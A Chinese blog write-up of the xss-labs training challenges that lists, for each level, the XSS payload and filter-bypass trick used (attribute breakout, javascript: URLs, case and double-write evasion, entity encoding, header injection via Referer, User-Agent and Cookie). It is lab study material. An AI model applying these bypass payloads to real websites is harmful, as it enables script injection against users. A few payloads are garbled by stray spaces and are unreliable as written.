其他分享
首页 > 其他分享> > xss_labs通关

xss_labs通关

作者:互联网

写着玩的笔记,随便看看就行,没啥价值。

Level 1

image-20210914140747313

在url中name参数显示在页面上,直接尝试 ?name=<script>alert(1)</script>

Level 2

image-20210914141310343

直接输入 不行,查看response

image-20210914141256304

加上 "> 进行闭合

payload: "><script>alert(1)</script>

Level 3

知识点:

  1. php函数:htmlspecialchars()

    <?php
    $str = "This is some <b>bold</b> text.";
    echo htmlspecialchars($str);
    ?>
    

    输出:This is some <b>bold</b> text.

    该函数将预定义字符转换为实体

    预定义的字符是:& " ' < >

    所以带尖括号的<script>不会被触发,绑定事件 onclick=alert(1)

    'onclick=alert(1) '

    会变成这样:

    <input name=keyword value=''onclick=alert(1) ''>

Level 4

和level3相比 直接将闭合的单引号 改成双引号即可

Level 5

看源码 过滤了 on和script 在input的value处没有htmlspecialchars的处理

相关参考:

https://blog.csdn.net/qq_29277155/article/details/51320064

用 a 标签:链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:

"><a href='javascript:alert(1)'>aa</a>

image-20210914190657792

Level 6

image-20210914191510747

这里href会被过滤掉 但是 str 没有做小写处理,大写即可绕过

"><a hRef='javascript:alert(1)'>aa</a>

Level 7

image-20210914191153531

这里做了小写处理,script和href直接替换为空,尝试双写。

"><a hRhrefef='javasscriptcript:alert(1)'>aa</a>

Level 8

java&#x73;cript:alert(1)

&#x73; 表示ascii码为0x73的字符s,即可绕过script的替换

Level 9

java&#x73;cript:alert(1)//http://

这道题看源码发现必须包含http 中间的// 是用来注释后面内容的

Level 10

?keyword=123&t_sort="%20onclick=alert(1)%20"%20type="text">

这里可以看到有三个hidden的input 经过尝试 只有 t_sort 可以利用,通过type="text"来使输入框显形,再点击输入框来触发 onclick 事件

image-20210914195913933

Level 11

跳转到11后,查看网页代码

image-20210914200420927

这里的t_ref 估计 和 HTTP_REFERER 有关

试试t_sort是否可以利用,但是尝试过后发现>被过滤了,抓包修改headers中的referer

将其内容写为 " onclick=alert(1) type="text" 发现成功

image-20210914201951617

查看源码,发现t_ref这里没有经过过滤。

image-20210914200258313

Level 12

image-20210914202403281

估计可能和 user_agent 有关,和11类似,不再赘述 抓包修改即可。

Level 13

差不多 这里是改cookie

Cookie: user=" onclick=alert(1) type="text"

成功

Level 14

题目貌似有问题 略

Level 15

<body><span class="ng-include:1.gif"></span></body>

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

尝试:?src='level1.php?name=<script>alert(1)</script>'

发现不行

百度 ?src='level1.php?name=<img src=1 one rror=alert(1) />'

onerror用来图片视频加载失败时 触发的事件

Level 16

script / 空格被过滤,用 %0d 即 /r 回车 或 %0a 即 /n 换行符 来绕过

<img%0asrc=1%0aonerror=alert(1)>

Level 17

?arg01=a&arg02=b onm ouseover=alert(1)

关键源码:

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

level 18

和17一样绕过

Level 19

和20一样 flash插件不支持了 懒得弄了

标签:xss,name,Level,text,alert,labs,源码,onclick,通关
来源: https://www.cnblogs.com/Beyond-189/p/15278955.html